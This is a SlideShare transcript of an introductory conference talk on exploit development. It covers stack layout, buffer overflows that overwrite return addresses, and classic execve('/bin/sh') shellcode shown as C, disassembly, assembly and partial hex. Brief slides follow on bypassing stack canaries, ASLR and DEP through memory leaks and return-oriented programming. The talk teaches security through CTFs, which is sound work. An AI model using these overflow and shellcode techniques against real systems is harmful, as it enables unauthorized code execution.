Successfully reported this slideshow.
Your SlideShare is downloading. ×

Software to the slaughter

Software to the slaughter

Download to read offline

An introduction to exploit development.

I gave this talk at Hack the North 2014, and most of this information is pulled out of classics like Smashing the Stack for Fun and Profit, so there shouldn't be anything novel in here.

An introduction to exploit development.

I gave this talk at Hack the North 2014, and most of this information is pulled out of classics like Smashing the Stack for Fun and Profit, so there shouldn't be anything novel in here.

Advertisement
Advertisement

More Related Content

Advertisement

Software to the slaughter

  1. 1. Software to the Slaughter Shane Wilton
  2. 2. Who am I?
  3. 3. TL;DR I hack stuff.
  4. 4. Agenda 1. Anatomy of a stack 2. Smashing it 3. Real (wo)men program in shellcode 4. Canaries, DEP, and ASLR, oh my! 5. Hack the planet.
  5. 5. WTF is a stack?!? ● Three types of memory regions: a. Text  Program code, read-only b. Data  Static variables  The heap c. Stack  Where the magic happens
  6. 6. Data Structures 101 - Stacks ● An abstract data type with two operations o PUSH - Adds an element to the start of a collection o POP - Removes an element from the end of a collection ● Last-In-First-Out o Imagine a stack of paper
  7. 7. ...and that’s useful because? ● Used to implement functions at a low-level ● Returning from procedures, passing arguments, etc
  8. 8. Calling a Function void foo(int a, int b) { char buffer[10]; } void main() { foo(1, 2); } ● Push the arguments onto the stack, in reverse order ● Push the instruction pointer onto the stack ● Allocate space for the variables in foo
  9. 9. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp SP Heap
  10. 10. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp 2 SP Heap
  11. 11. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp 1 2 SP Heap
  12. 12. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Return Address (EIP) 1 2 SP Heap
  13. 13. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 SP Heap
  14. 14. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 SP and FP Heap
  15. 15. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 FP 12-Byte Buffer SP Heap
  16. 16. Returning From a Function 1. POP the old frame pointer off FP 2. Set SP to this value 3. POP the return address off the stack 4. Jump to this address Old Frame Pointer (EBP) Return Address (EIP) 1 2 FP 12-Byte Buffer SP Heap
  17. 17. What does this mean? ● If unchecked, the buffer can overrun into the rest of the stack! ● Buffer overflow attack o Overwrite return address o Overwrite local variables o Own the system. ● What if we fill the buffer with: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….
  18. 18. Segmentation Fault! Heap 12-Byte Buffer Old Frame Pointer (EBP) Return Address (EIP) 1 2 Heap 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141
  19. 19. Returning Fr- wait what? void bar() { printf(“Hack the North!”); } void foo(int a, int b) { char buffer[10]; int *ret; ret = buffer + 12; (*ret) = &bar; } ● foo overwrites an address after the buffer to point to bar ● We just overwrote foo’s return address! ● An attacker can use this for evil. o Assume the buffer is filled with unchecked user input
  20. 20. Shellcode, or How I learned to Stop Worrying and Love the Compiler ● By overwriting the return address, we can run any code in the program o What if the code we want isn’t in the program? o Add it! Put our code in the buffer, and jump to it ● We need bytecode that will spawn a shell - shellcode!
  21. 21. Putting the ‘C” in Shellcode #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode $ disassemble main 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret
  22. 22. WTF does that mean? 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret 0x8000130 <main>: Save the frame pointer 0x8000131 <main+1>: Move the stack pointer 0x8000133 <main+3>: Allocate space for the ‘name’ buffer 0x8000136 <main+6>: Copy the address of “/bin/sh” into the buffer 0x800013d <main+13>: Copy NULL into the buffer 0x8000144 <main+20>: Push NULL onto the stack 0x8000146 <main+22>: Load the address of our buffer into EAX 0x8000149 <main+25>: Push that address onto the stack 0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX 0x800014d <main+29>: Push that address onto the stack 0x800014e <main+30>: Call execve
  23. 23. And now for execve... ● Disassemble execve too ● Not going to show it here, but go through the same process. ● We need… o EAX = 0xB o ECX points to “/bin/sh” o EDX points to NULL ● Then call “int $0x80”
  24. 24. Let’s write that in assembly... jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 .string "/bin/sh" ● Compile this with NASM, and grab the hexadecimal representation… ● xebx2ax5ex89x76 x08xc6x46x07x00 xc7x46x0cx00x00 x00… etc ● Watch this.
  25. 25. Shellcoder? I hardly know her! char shellcode[] = <our shellcode>; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } shane $ gcc -o sc sc.c shane $ ./sc $ exit shane $
  26. 26. Putting It Together ● Find a buffer overflow ● Find a way of exploiting it ● Fill some buffer with shellcode ● Use your overflow to jump to it
  27. 27. It’s not that easy. ● Nowadays, operating systems are smarter than that ● Shellcode restrictions o No NULL bytes allowed o Only alphanumeric characters, etc ● Stack Canaries ● Address Space Layout Randomization ● Data Execution Prevention ● We can defeat all of these methods.
  28. 28. Stack Canaries ● Essentially checksums ● Placed after a buffer o Overflowing the buffer will overwrite the canary o If the canary is wrong, handle the overflow ● Generated by the compiler. ● Use another exploit to leak memory o printf format string exploits for example
  29. 29. ASLR ● At runtime, randomize the positions of important memory regions o The stack, the heap, data segment, etc ● Like stack canaries, need a memory leak to bypass o Leak the address of a buffer o Create a NOP-sled and guess o Plenty of techniques
  30. 30. Data Execution Prevention ● Mark memory segments as either writable or executable o Never both! ● We can’t put our shellcode on the stack anymore. ● Use return-oriented programming
  31. 31. Return-Oriented Programming ● Construct our payload entirely of “Gadgets” found in the existing codes o Sub-sequences of assembly found at the end of existing functions ● Chain them together by overwriting return addresses on the stack ● Always possible!*
  32. 32. Nothing is Safe. ● Exploit development is hard. o Really hard. o Target architectures you’ve never used before o Fail cleanly to avoid detection ● But! o No protection is infallible o It’s fun. Like, really fun. More on this later.
  33. 33. You Can (and should) do it! ● Capture the Flag - competitive hacking o The hackathons of security o There’s always one going on  CSAW is running right now, it’s for college students with no security experience ● Incredibly fun problems. o For example...
  34. 34. Polyglot ● Write an exploit that will run on four machines o x86 o ARM Little-Endian o ARM Big-Endian o PowerPC ● Insane implications for the internet of things ● Read my talk on solving it with graph theory
  35. 35. Getting Started ● Micro Corruption - a 20 problem CTF built by Square and Matasano Security for teaching exploit development ● Compete! Right now! Seriously, this weekend! o CSAW - You can solve some of these, I promise.

×